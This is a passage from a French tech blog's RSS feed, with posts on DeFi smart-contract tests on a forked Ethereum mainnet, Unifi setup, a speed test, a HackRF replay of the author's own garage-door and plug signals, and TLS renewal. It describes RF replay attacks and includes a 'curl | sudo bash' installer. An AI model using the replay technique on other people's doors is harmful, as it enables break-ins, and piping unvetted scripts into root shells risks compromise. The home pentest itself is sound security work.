    function getLiquidationSpread() external view returns (Decimal.D256 memory);

    function getAccountWei(Account.Info calldata account, uint256 marketId)
        external
        view
        returns (Types.Wei memory);

    function getMarketTotalPar(uint256 marketId)
        external
        view
        returns (Types.TotalPar memory);

    function getLiquidationSpreadForPair(
        uint256 heldMarketId,
        uint256 owedMarketId
    ) external view returns (Decimal.D256 memory);

    function getNumExcessTokens(uint256 marketId)
        external
        view
        returns (Types.Wei memory);

    function getMarketCachedIndex(uint256 marketId)
        external
        view
        returns (Interest.Index memory);

    function getAccountStatus(Account.Info calldata account)
        external
        view
        returns (uint8);

    function getEarningsRate() external view returns (Decimal.D256 memory);

    function ownerSetPriceOracle(uint256 marketId, address priceOracle)
        external;

    function getRiskLimits() external view returns (Storage.RiskLimits memory);

    function getMarket(uint256 marketId)
        external
        view
        returns (Storage.Market memory);

    function ownerSetIsClosing(uint256 marketId, bool isClosing) external;

    function ownerSetGlobalOperator(address operator, bool approved) external;

    function transferOwnership(address newOwner) external;

    function getAdjustedAccountValues(Account.Info calldata account)
        external
        view
        returns (Monetary.Value memory, Monetary.Value memory);

    function getMarketMarginPremium(uint256 marketId)
        external
        view
        returns (Decimal.D256 memory);

    function getMarketInterestRate(uint256 marketId)
        external
        view
        returns (Interest.Rate memory);
}
</code></pre><br/>
<h2 id="création-du-tu-permettant-dappeler-notre-smart-contract">Création du TU permettant d&rsquo;appeler notre Smart contract</h2>
<p>Créer un fichier <code>test/simple-dydx-flashloan.js</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>const BN = require(&#39;bn.js&#39;);
const { assert } = require(&#39;chai&#39;);

const IERC20 = artifacts.require(&#39;IERC20&#39;);
const SimpleDyDxFlashloan = artifacts.require(&#39;SimpleDyDxFlashloan&#39;);
const SOLO = &#39;0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e&#39;;


contract(&#39;SimpleDyDxFlashloan&#39;, accounts =&gt; {

    const DAI = &#39;0x6B175474E89094C44Da98b954EedeAC495271d0F&#39;;
    const DAI_WHALE = &#39;0xC73f6738311E76D45dFED155F39773e68251D251&#39;;
    const DECIMALS = 6;

    const FUND_AMOUNT = new BN(10).pow(new BN(18)).mul(new BN(200))
    const BORROW_AMOUNT = new BN(10).pow(new BN(18)).mul(new BN(1000000))

    let simpleDyDxFlashloan, token, flashloan_user, user;

    beforeEach(async () =&gt; {
        token = await IERC20.at(DAI);
        simpleDyDxFlashloan = await SimpleDyDxFlashloan.new();
        flashloan_user = accounts[0]

        // await network.provider.request({
        //     method: &#34;hardhat_impersonateAccount&#34;,
        //     params: [DAI_WHALE],
        // });

        console.log(`contract address is: ${simpleDyDxFlashloan.address}`)

        const whale_balance = await token.balanceOf(DAI_WHALE);
        assert(whale_balance.gte(FUND_AMOUNT), &#39;Whale DAI balance has to be higher than FUND AMOUNT&#39;);
        await token.transfer(simpleDyDxFlashloan.address, FUND_AMOUNT, { from: DAI_WHALE });

        const solo_balance = await token.balanceOf(SOLO);
        assert(solo_balance.gte(BORROW_AMOUNT), &#39;Solo balance has to be higher than BORROW AMOUNT&#39;);
        console.log(`SOLO balance is: ${solo_balance}`);
    });

    it(&#39;flash loan functionality works correctly&#39;, async () =&gt; {

        const tx = await simpleDyDxFlashloan.initiateFlashloan(token.address, BORROW_AMOUNT, { from: flashloan_user });

        user = await simpleDyDxFlashloan.user();

        for (const log of tx.logs) {
            console.log(log.args.message, log.args.val.toString());
        }

        assert.equal(user, simpleDyDxFlashloan.address,
            &#39;user has to be set correctly to the address of simpleDyDxFlashloan&#39;);
    })
})
</code></pre><br/>
<h2 id="forker-le-mainnet-ethereum">Forker le mainnet Ethereum</h2>
<p>Créer un fichier de config <code>truffle-config.js</code> au niveau root de votre repo contenant l&rsquo;alias vers l&rsquo;environnement <code>mainnet_fork</code>:</p>
<pre tabindex="0"><code>module.exports = {
    contracts_directory: &#34;./contracts/simple-dydx-flashloan/&#34;,
    networks: {
        mainnet_fork: {
            host: &#34;127.0.0.1&#34;, // Localhost (default: none)
            port: 8545, // Standard Ethereum port (default: none)
            network_id: &#34;999&#34;, // Any network (default: none)
            gas: 0
        },
    },

    // Set default mocha options here, use special reporters etc.
    mocha: {
        // timeout: 100000
    },

    // Configure your compilers
    compilers: {
        solc: {
            version: &#34;0.7.6&#34;, // Fetch exact version from solc-bin (default: truffle&#39;s version)
        },
    },
}
</code></pre><br/>
<blockquote>
<p>Repérer une whale possèdant de l&rsquo;USDC via <a href="https://twitter.com/whale_alert">https://twitter.com/whale_alert</a>, récupérer son wallet Ethereum via Etherscan et unlocker le  dans votre fork Ethereum.</p></blockquote>
<pre tabindex="0"><code>source .env
ganache-cli --fork https://mainnet.infura.io/v3/$TOKEN_INFURA --seed $YOUR_SEED -i --unlock $WHALE_ADDRESS --networkId 999
</code></pre><br/>
<h2 id="exécution-du-swap">Exécution du swap</h2>
<pre tabindex="0"><code>npx truffle test --network mainnet_fork test/simple-dydx-flashloan.js
</code></pre><p>Voilà, si tout est bien configuré, vous devriez voir ceci à la fin du test:</p>
<br/>
<p><img src="/images/flashloan-dydx-result.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Installer Unifi Controller sur Ubuntu 20.04</title>
            <link>https://leandeep.com/installer-unifi-controller-sur-ubuntu-20.04/</link>
            <pubDate>Sat, 30 Oct 2021 17:53:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-unifi-controller-sur-ubuntu-20.04/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment installer Unifi Controller sur Ubuntu 20.04. Cet utilitaire est nécessaire si vous avez un routeur Unifi et que vous souhaitez mettre en place plusieurs SSIDs et plusieurs VLANs.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Attention l&amp;rsquo;installation de cet utilitaire va aussi installer un serveur MongoDB qui écoutera sur le port 27017&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;Ajouter le repo Ubiquiti et ajouter la clé GPG permettant de truster ce dernier.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;echo &amp;#39;deb https://www.ui.com/downloads/unifi/debian stable ubiquiti&amp;#39; | sudo tee /etc/apt/sources.list.d/100-ubnt-unifi.list
sudo wget -O /etc/apt/trusted.gpg.d/unifi-repo.gpg https://dl.ui.com/unifi/unifi-repo.gpg 
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Installer unifi controller et ses dépendences.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment installer Unifi Controller sur Ubuntu 20.04. Cet utilitaire est nécessaire si vous avez un routeur Unifi et que vous souhaitez mettre en place plusieurs SSIDs et plusieurs VLANs.</p>
<blockquote>
<p>Attention l&rsquo;installation de cet utilitaire va aussi installer un serveur MongoDB qui écoutera sur le port 27017</p></blockquote>
<br/>
<h2 id="installation">Installation</h2>
<p>Ajouter le repo Ubiquiti et ajouter la clé GPG permettant de truster ce dernier.</p>
<pre tabindex="0"><code>echo &#39;deb https://www.ui.com/downloads/unifi/debian stable ubiquiti&#39; | sudo tee /etc/apt/sources.list.d/100-ubnt-unifi.list
sudo wget -O /etc/apt/trusted.gpg.d/unifi-repo.gpg https://dl.ui.com/unifi/unifi-repo.gpg 
</code></pre><br/>
<p>Installer unifi controller et ses dépendences.</p>
<pre tabindex="0"><code>sudo apt update &amp;&amp; sudo apt install ca-certificates openjdk-8-jdk apt-transport-https unifi -y
</code></pre><br/>
<p>Vérifier que le service a bien démarré:</p>
<pre tabindex="0"><code>systemctl status unifi.service
</code></pre><br/>
<p>Le GUI de Unifi controller est accessible à l&rsquo;adresse suivante: https://VOTRE_IP:8443</p>
<blockquote>
<p>Pour connecter votre routeur Unifi (dans mon cas U6-lite) à Unifi controller, il ne doit pas avoir été précédemment associé ou être en mode standalone.</p></blockquote>
<p><img src="/images/unifi-controller.png" alt="image"></p>
<br/>
<h2 id="désinstallation">Désinstallation</h2>
<pre tabindex="0"><code>sudo apt purge unifi -y
sudo service mongod stop
sudo apt purge mongodb-org*
sudo rm -r /var/log/mongodb
sudo rm -r /var/lib/mongodb
sudo rm /etc/apt/sources.list.d/mongod*.list
sudo apt purge oracle-java* -y
sudo apt autoremove
sudo apt clean
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Smart contract development: coder un Swap sur Uniswap avec des data de prod</title>
            <link>https://leandeep.com/smart-contract-development-coder-un-swap-sur-uniswap-avec-des-data-de-prod/</link>
            <pubDate>Fri, 22 Oct 2021 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/smart-contract-development-coder-un-swap-sur-uniswap-avec-des-data-de-prod/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment réaliser un échange d&amp;rsquo;USDC avec de l&amp;rsquo;USDT en codant un smart contract qui utiliser Uniswap.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour cet example, j&amp;rsquo;ai utilisé Node version: &lt;code&gt;nvm use v14.17.6&lt;/code&gt;. J&amp;rsquo;ai aussi installé les modules NodeJS &lt;code&gt;ganache-cli&lt;/code&gt; et &lt;code&gt;truffle&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;création-du-smart-contract&#34;&gt;Création du Smart contract&lt;/h2&gt;
&lt;p&gt;Créer un fichier &lt;code&gt;SimpleUniswapSwap.sol&lt;/code&gt; dans le répertoire &lt;code&gt;contracts&lt;/code&gt; de votre repo git et ajouter le contenu suivant:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.7;

import &amp;#34;@openzeppelin/contracts/token/ERC20/IERC20.sol&amp;#34;;
import &amp;#34;./interfaces/Uniswap.sol&amp;#34;;

contract SimpleUniswapSwap {
    address private constant UNISWAP_V2_ROUTER =
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function swap(
        address _tokenIn,
        address _tokenOut,
        uint256 _amountIn,
        uint256 _amountOutMin,
        address _to
    ) external {
        IERC20(_tokenIn).transferFrom(msg.sender, address(this), _amountIn); // Send money to this smart contract
        IERC20(_tokenIn).approve(UNISWAP_V2_ROUTER, _amountIn); // Allow uniswap router to use/swap the money we just transfered

        address[] memory path;
        if (_tokenIn == WETH || _tokenOut == WETH) {
            path = new address[](2);
            path[0] = _tokenIn;
            path[1] = _tokenOut;
        } else {
            path = new address[](3);
            path[0] = _tokenIn;
            path[1] = WETH;
            path[2] = _tokenOut;
        }

        IUniswapV2Router(UNISWAP_V2_ROUTER).swapExactTokensForTokens(
            _amountIn,
            _amountOutMin,
            path,
            _to,
            block.timestamp
        );
    }

}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;L&amp;rsquo;interface &lt;code&gt;Uniswap.sol&lt;/code&gt; dans le répertoire &lt;code&gt;./contracts/interfaces&lt;/code&gt; ressemble à ceci:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment réaliser un échange d&rsquo;USDC avec de l&rsquo;USDT en codant un smart contract qui utiliser Uniswap.</p>
<blockquote>
<p>Pour cet example, j&rsquo;ai utilisé Node version: <code>nvm use v14.17.6</code>. J&rsquo;ai aussi installé les modules NodeJS <code>ganache-cli</code> et <code>truffle</code></p></blockquote>
<br/>
<h2 id="création-du-smart-contract">Création du Smart contract</h2>
<p>Créer un fichier <code>SimpleUniswapSwap.sol</code> dans le répertoire <code>contracts</code> de votre repo git et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.7;

import &#34;@openzeppelin/contracts/token/ERC20/IERC20.sol&#34;;
import &#34;./interfaces/Uniswap.sol&#34;;

contract SimpleUniswapSwap {
    address private constant UNISWAP_V2_ROUTER =
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function swap(
        address _tokenIn,
        address _tokenOut,
        uint256 _amountIn,
        uint256 _amountOutMin,
        address _to
    ) external {
        IERC20(_tokenIn).transferFrom(msg.sender, address(this), _amountIn); // Send money to this smart contract
        IERC20(_tokenIn).approve(UNISWAP_V2_ROUTER, _amountIn); // Allow uniswap router to use/swap the money we just transfered

        address[] memory path;
        if (_tokenIn == WETH || _tokenOut == WETH) {
            path = new address[](2);
            path[0] = _tokenIn;
            path[1] = _tokenOut;
        } else {
            path = new address[](3);
            path[0] = _tokenIn;
            path[1] = WETH;
            path[2] = _tokenOut;
        }

        IUniswapV2Router(UNISWAP_V2_ROUTER).swapExactTokensForTokens(
            _amountIn,
            _amountOutMin,
            path,
            _to,
            block.timestamp
        );
    }

}
</code></pre><br/>
<p>L&rsquo;interface <code>Uniswap.sol</code> dans le répertoire <code>./contracts/interfaces</code> ressemble à ceci:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.7;

// https://uniswap.org/docs/v2/smart-contracts

interface IUniswapV2Router {
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}
</code></pre><br/>
<h2 id="création-du-tu-permettant-dappeler-notre-smart-contract">Création du TU permettant d&rsquo;appeler notre Smart contract</h2>
<p>Créer un fichier <code>test/simple-uniswap-swap.js</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>const BN = require(&#34;bn.js&#34;); // On charge le module Node Bignumber 
const { USDC, USDT, USDC_WHALE } = require(&#34;./config&#34;); // Adresses des tokens USC, USDT et wallet 

const IERC20 = artifacts.require(&#34;IERC20&#34;);  // on load l&#39;interface des contracts ERC20
const SimpleUniswapSwap = artifacts.require(&#34;SimpleUniswapSwap&#34;); //on load le smart contract qu&#39;on a créé pour swapper des tokens ERC20

contract(&#34;SimpleUniswapSwap&#34;, (accounts) =&gt; {
    const WHALE = USDC_WHALE;
    const AMOUNT_IN = 1000;
    const AMOUNT_OUT_MIN = 980;
    const TOKEN_IN = USDC;
    const TOKEN_OUT = USDT;
    const TO = accounts[0];

    let simpleUniswapSwap;
    let tokenIn;
    let tokenOut;
    beforeEach(async () =&gt; {
        tokenIn = await IERC20.at(TOKEN_IN);
        tokenOut = await IERC20.at(TOKEN_OUT);
        simpleUniswapSwap = await SimpleUniswapSwap.new();

        await tokenIn.approve(simpleUniswapSwap.address, AMOUNT_IN, { from: WHALE });
    });

    it(&#34;should pass&#34;, async () =&gt; {
        await simpleUniswapSwap.swap(
            tokenIn.address,
            tokenOut.address,
            AMOUNT_IN,
            AMOUNT_OUT_MIN,
            TO,
            {
                from: WHALE,
            }
        );

        console.log(`in ${AMOUNT_IN}`);
        console.log(`out ${await tokenOut.balanceOf(TO)}`);
    });
});
</code></pre><br/>
<h2 id="forker-le-mainnet-ethereum">Forker le mainnet Ethereum</h2>
<p>Créer un fichier de config <code>truffle-config.js</code> au niveau root de votre repo contenant l&rsquo;alias vers l&rsquo;environnement <code>mainnet_fork</code>:</p>
<pre tabindex="0"><code>module.exports = {
    networks: {
        mainnet_fork: {
            host: &#34;127.0.0.1&#34;, // Localhost (default: none)
            port: 8545, // Standard Ethereum port (default: none)
            network_id: &#34;999&#34;, // Any network (default: none)
        },
    },

    // Set default mocha options here, use special reporters etc.
    mocha: {
        // timeout: 100000
    },

    // Configure your compilers
    compilers: {
        solc: {
            version: &#34;0.7.6&#34;, // Fetch exact version from solc-bin (default: truffle&#39;s version)
        },
    },
}
</code></pre><br/>
<blockquote>
<p>Repérer une whale possèdant de l&rsquo;USDC via <a href="https://twitter.com/whale_alert">https://twitter.com/whale_alert</a>, récupérer son wallet Ethereum via Etherscan et unlocker le  dans votre fork Ethereum.</p></blockquote>
<pre tabindex="0"><code>source .env
ganache-cli --fork https://mainnet.infura.io/v3/$TOKEN_INFURA --seed $YOUR_SEED -i --unlock $WHALE_ADDRESS --networkId 999
</code></pre><br/>
<h2 id="exécution-du-swap">Exécution du swap</h2>
<pre tabindex="0"><code>npx truffle test --network mainnet_fork test/simple-uniswap-swap.js
</code></pre><p>Voilà, si tout est bien configuré, vous devriez voir ceci à la fin du test:</p>
<br/>
<p><img src="/images/swap-uniswap-result.png" alt="image"></p>
<br/>
<h2 id="interagir-avec-ganache">Interagir avec Ganache</h2>
<pre tabindex="0"><code>npx truffle console --network mainnet_fork
# npx truffle debug 0xbb18c245899e6e11da427cb951d88de7f072ca1021c98fbb1c7b65660c572f44
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Réaliser un speed test depuis le terminal</title>
            <link>https://leandeep.com/r%C3%A9aliser-un-speed-test-depuis-le-terminal/</link>
            <pubDate>Sun, 10 Oct 2021 15:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/r%C3%A9aliser-un-speed-test-depuis-le-terminal/</guid>
            <description>&lt;p&gt;J&amp;rsquo;ai eu besoin de mettre en place un traffic shaper sur mon Firewall pour ne pas qu&amp;rsquo;un de mes noeuds Ethereum consomme toute la bande passante de mon réseau. Je voulais limiter la bande passante en semaine de 8h30 à 19h. Une fois tout cela mis en place, il m&amp;rsquo;a fallu tester si tout était bien configuré. Si vous avez besoin de réaliser un speed test depuis un serveur headless, vous pouvez suivre ce tip.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>J&rsquo;ai eu besoin de mettre en place un traffic shaper sur mon Firewall pour ne pas qu&rsquo;un de mes noeuds Ethereum consomme toute la bande passante de mon réseau. Je voulais limiter la bande passante en semaine de 8h30 à 19h. Une fois tout cela mis en place, il m&rsquo;a fallu tester si tout était bien configuré. Si vous avez besoin de réaliser un speed test depuis un serveur headless, vous pouvez suivre ce tip.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<pre tabindex="0"><code>curl -s https://install.speedtest.net/app/cli/install.deb.sh | sudo bash
sudo apt-get install speedtest
</code></pre><br/>
<h2 id="exécution-du-speedtest">Exécution du speedtest</h2>
<p>Ouvrir un terminal et simplement exécutez la commande <code>speedtest</code>.</p>
]]></content>
        </item>
        
        <item>
            <title>Sécurité domestique - Pentester son portail électrique, sonnette sans fil et porte de garage automatique</title>
            <link>https://leandeep.com/s%C3%A9curit%C3%A9-domestique-pentester-son-portail-%C3%A9lectrique-sonnette-sans-fil-et-porte-de-garage-automatique/</link>
            <pubDate>Mon, 04 Oct 2021 06:47:00 +0200</pubDate>
            
            <guid>https://leandeep.com/s%C3%A9curit%C3%A9-domestique-pentester-son-portail-%C3%A9lectrique-sonnette-sans-fil-et-porte-de-garage-automatique/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Je vous présente dans cet article le résultat d&amp;rsquo;un test de pénétration que j&amp;rsquo;ai réalisé sur des équipements de mon domicile. J&amp;rsquo;ai testé la sécurité d&amp;rsquo;une prise électrique sans fil que j&amp;rsquo;ai acheté chez un grand distributeur et ma porte de garage. Le résultat est saisissant, j&amp;rsquo;ai pu en quelques minutes enregistrer et rejouer les signaux émis par ces deux équipements. On pouvait s&amp;rsquo;en douter en voyant les films d&amp;rsquo;espionnage, mais il y a donc de gros problèmes de sécurité dans les objets contrôlés par des ondes RF et pour une porte de garage, c&amp;rsquo;est très grave. Des cambrioleurs peuvent en effet pénétrer à l&amp;rsquo;intérieur des domiciles sans effort et sans effraction. Ce qu&amp;rsquo;il y a de plus grave c&amp;rsquo;est que ma porte de garage est assez récente&amp;hellip; Nos distributeurs préférés qui ont pignon sur rue nous vendent des équipements pas du tout &lt;em&gt;secure&lt;/em&gt;&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Je vous présente dans cet article le résultat d&rsquo;un test de pénétration que j&rsquo;ai réalisé sur des équipements de mon domicile. J&rsquo;ai testé la sécurité d&rsquo;une prise électrique sans fil que j&rsquo;ai acheté chez un grand distributeur et ma porte de garage. Le résultat est saisissant, j&rsquo;ai pu en quelques minutes enregistrer et rejouer les signaux émis par ces deux équipements. On pouvait s&rsquo;en douter en voyant les films d&rsquo;espionnage, mais il y a donc de gros problèmes de sécurité dans les objets contrôlés par des ondes RF et pour une porte de garage, c&rsquo;est très grave. Des cambrioleurs peuvent en effet pénétrer à l&rsquo;intérieur des domiciles sans effort et sans effraction. Ce qu&rsquo;il y a de plus grave c&rsquo;est que ma porte de garage est assez récente&hellip; Nos distributeurs préférés qui ont pignon sur rue nous vendent des équipements pas du tout <em>secure</em>&hellip;</p>
<p>Pour réaliser ce test, j&rsquo;ai utilisé un boitier HackRF.</p>
<p>Voici les démos:</p>

    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/jbDvRO7rXjI?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>


<p>(La 1ère vidéo contient les explications)
<br/></p>

    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/mmyNyWSW3Ag?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>


<p>(2ème vidéo sans son. <strong>Mon Mac est connecté au HackRF. Comme sur la vidéo précédente, j&rsquo;ai enregistré le signal RF émis par la télécommande puis je le rejoue en boucle. Comme vous pouvez le voir, ma porte de garage réagit au signal retransmis par le HackRF.</strong> Bien évidemment, pas la peine de venir chez moi et d&rsquo;essayer de passer par ma porte de garage. En voyant cela, je n&rsquo;ai pas attendu 2 jours pour corriger cette faille.)</p>
<blockquote>
<p>Si vous pensez que c&rsquo;est du <em>fake</em>, n&rsquo;hésitez pas à me contacter via LinkedIn. Je me ferai un plaisir de réaliser un audit de la sécurité de votre domicile.</p></blockquote>
<br/>
<h2 id="installation-des-outils-sur-osx">Installation des outils sur OSX</h2>
<pre tabindex="0"><code>sudo port install gnuradio
sudo port install gr-osmosdr
gnuradio-config-info --version

# Vérifier que le HackRF est bien détecté 
hackrf_info
# ou
ioreg -p IOUSB -l -w 0 -b
</code></pre><p>Installer <a href="https://gqrx.dk/tag/mac-os-x">GQRX</a></p>
<p>Installer <a href="https://cubicsdr.com/">CubicSDR</a> pour analyser les fréqences radio</p>
<p>Installer aussi <a href="https://github.com/jopohl/urh">Universal Radio Hacker</a></p>
<br/>
<h2 id="enregistrer-un-signal">Enregistrer un signal</h2>
<p>Démarrer GNURadio avec la commande <code>$ gnuradio-companion</code></p>
<p><img src="/images/record-rf-signal.png" alt="image"></p>
<br/>
<h2 id="rejouer-le-signal-enregistré">Rejouer le signal enregistré</h2>
<p><img src="/images/replay-rf-signal.png" alt="image"></p>
<br/>
<h2 id="mettre-à-jour-le-firmware-du-hackrf">Mettre à jour le firmware du HackRF</h2>
<pre tabindex="0"><code>hackrf_info
git clone https://github.com/greatscottgadgets/hackrf
hackrf_spiflash -w ./firmware-bin/hackrf_one_usb.bin
hackrf_cpldjtag -x ./firmware/cpld/sgpio_if/default.xsvf
hackrf_info
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Architecture applicative d&#39;une application AR Copy Paste</title>
            <link>https://leandeep.com/architecture-applicative-dune-application-ar-copy-paste/</link>
            <pubDate>Wed, 29 Sep 2021 06:47:00 +0200</pubDate>
            
            <guid>https://leandeep.com/architecture-applicative-dune-application-ar-copy-paste/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Peut-être êtes-vous tombé sur cette vidéo qui a fait le buzz sur Linkedin où l&amp;rsquo;on voyait une app mobile prendre une photo de n&amp;rsquo;importe quel objet, le détourait automatiquement et l&amp;rsquo;envoyait sur Photoshop. &lt;strong&gt;Le concept est appelé &amp;ldquo;AR Copy Paste&amp;rdquo;.&lt;/strong&gt;
Voici un &lt;a href=&#34;&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;article dédié au concept&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai été très impressionné par la démo et me suis demandé comment c&amp;rsquo;était fait. J&amp;rsquo;ai donc codé un MVP qui refait exactement la même chose (au delta près du plugin Photoshop qui n&amp;rsquo;est qu&amp;rsquo;un wrapper autour de mon app web qui affichait déjà mon image détourée).&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Peut-être êtes-vous tombé sur cette vidéo qui a fait le buzz sur Linkedin où l&rsquo;on voyait une app mobile prendre une photo de n&rsquo;importe quel objet, le détourait automatiquement et l&rsquo;envoyait sur Photoshop. <strong>Le concept est appelé &ldquo;AR Copy Paste&rdquo;.</strong>
Voici un <a href="" rel="noopener" target="_blank">article dédié au concept</a></p>
<p>J&rsquo;ai été très impressionné par la démo et me suis demandé comment c&rsquo;était fait. J&rsquo;ai donc codé un MVP qui refait exactement la même chose (au delta près du plugin Photoshop qui n&rsquo;est qu&rsquo;un wrapper autour de mon app web qui affichait déjà mon image détourée).</p>
<blockquote>
<p>Étant consultant Freelance (Architecte solutions/ Expert technique/ Tech Lead), n&rsquo;hésitez pas à me contacter pour une démo ou voir si je suis disponible pour vous proposer mes services dans ce domaine.</p></blockquote>
<blockquote>
<p>Le code n&rsquo;est pas open source mais bien visible sur demande (le projet et ses deps fait 1.3 Go à cause de la partie Machine Learning)</p></blockquote>
<p>Dans cet article, je vous présente l&rsquo;architecture applicative de mon MVP et vous présente les résultats</p>
<br/>
<h2 id="architecture-applicative-du-mvp">Architecture applicative du MVP</h2>
<p><img src="/images/architecture-ar-copy-paste-app.png" alt="image"></p>
<br/>
<ol>
<li>Prise de photo depuis un smartphone</li>
<li>Upload de la photo sur une API Python</li>
<li>Appel de la librairie de machine Learning permettant d&rsquo;extraire le background d&rsquo;une photo</li>
<li>Génération d&rsquo;une photo temporaire sur l&rsquo;API puis upload sur S3</li>
<li>Récupération de l&rsquo;URL d&rsquo;accès de la photo détourée sur S3 et on retourne l&rsquo;URL au client</li>
<li>Affichage de la photo détourée depuis S3 via l&rsquo;URL juste récupérée</li>
</ol>
<blockquote>
<p>Schéma simplifié bien sûr. Il s&rsquo;agit d&rsquo;un MVP rapide de 3 soirées sans DB, sans realtime websoket server.</p></blockquote>
<br/>
<h2 id="résultat-sur-quelques-objets-et-mon-chien">Résultat sur quelques objets et mon chien</h2>
<p><strong>Adaptateur de voyage sur mon bureau:</strong>
<img src="/images/ar-copy-demo-paste1.png" alt="image">
<strong>Tasse sale sur mon bureau:</strong>
<img src="/images/ar-copy-demo-paste2.png" alt="image">
<strong>Caméra Tapo dans mon salon:</strong>
<img src="/images/ar-copy-demo-paste3.png" alt="image">
<strong>Bouteille sur mon bureau:</strong>
<img src="/images/ar-copy-demo-paste4.png" alt="image">
<strong>Télécommande Freebox dans mon salon:</strong>
<img src="/images/ar-copy-demo-paste5.png" alt="image">
<strong>Mon chien (qui s&rsquo;est roulé dans la boue) pris de très loin + un sac (2 objets):</strong>
<img src="/images/ar-copy-demo-paste6.png" alt="image">
<strong>Mon chien:</strong>
<img src="/images/ar-copy-demo-paste7.png" alt="image"></p>
<p>Encore une fois merci le Machine Learning, le résultat est bluffant!..</p>
<br/>
<h2 id="recommandations">Recommandations</h2>
<ul>
<li>
<p>Pour la partie front mobile, j&rsquo;ai encore pu tester le framework <a href="" rel="noopener" target="_blank">Expo</a> pour ce MVP et c&rsquo;est vraiment top. Cela permet d&rsquo;avoir un workflow de développement vraiment simplifié et d&rsquo;être vraiment productif.
En gros, il n&rsquo;y a pas à gérer la partie CI (mobile) du tout.</p>
</li>
<li>
<p>Modèle Deep Learning utilisé: <a href="" rel="noopener" target="_blank">U2Net</a></p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Renouveler un certificat TLS et garder la même clé publique</title>
            <link>https://leandeep.com/renouveler-un-certificat-tls-et-garder-la-m%C3%AAme-cl%C3%A9-publique/</link>
            <pubDate>Tue, 21 Sep 2021 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/renouveler-un-certificat-tls-et-garder-la-m%C3%AAme-cl%C3%A9-publique/</guid>
            <description>&lt;p&gt;Voici la procédure à suivre pour renouveler un certificat TLS et garder la même clé publique que précédemment (donc pas changer la clé privée).&lt;/p&gt;
&lt;p&gt;Pour ce faire, il vous faudra récupérer la clé privée précédemment utilisée. Dans notre exemple la clé privée sera contenue dans le fichier &lt;code&gt;private_key.key&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ensuite, il n&amp;rsquo;y a plus qu&amp;rsquo;à générer un CSR (Certificate Signing Request) et de l&amp;rsquo;uploader sur le site vous fournissant un certif valide (autorité de certification).&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici la procédure à suivre pour renouveler un certificat TLS et garder la même clé publique que précédemment (donc pas changer la clé privée).</p>
<p>Pour ce faire, il vous faudra récupérer la clé privée précédemment utilisée. Dans notre exemple la clé privée sera contenue dans le fichier <code>private_key.key</code>.</p>
<p>Ensuite, il n&rsquo;y a plus qu&rsquo;à générer un CSR (Certificate Signing Request) et de l&rsquo;uploader sur le site vous fournissant un certif valide (autorité de certification).</p>
<p>Vous obtiendrez certainement un fichier <code>.crt</code> qu&rsquo;il faudra installer sur le serveur où le certificat a expiré.</p>
<pre tabindex="0"><code>openssl req -new -key private_key.key -out new_csr.csr
</code></pre><blockquote>
<p>Le &ldquo;challenge password&rdquo; n&rsquo;est pas indispensable. Il n&rsquo;est pas utilisé comme une passphase. Il permet de s&rsquo;identifier auprès de l&rsquo;autorité de certification si nécessaire.</p></blockquote>
]]></content>
        </item>
        
        <item>
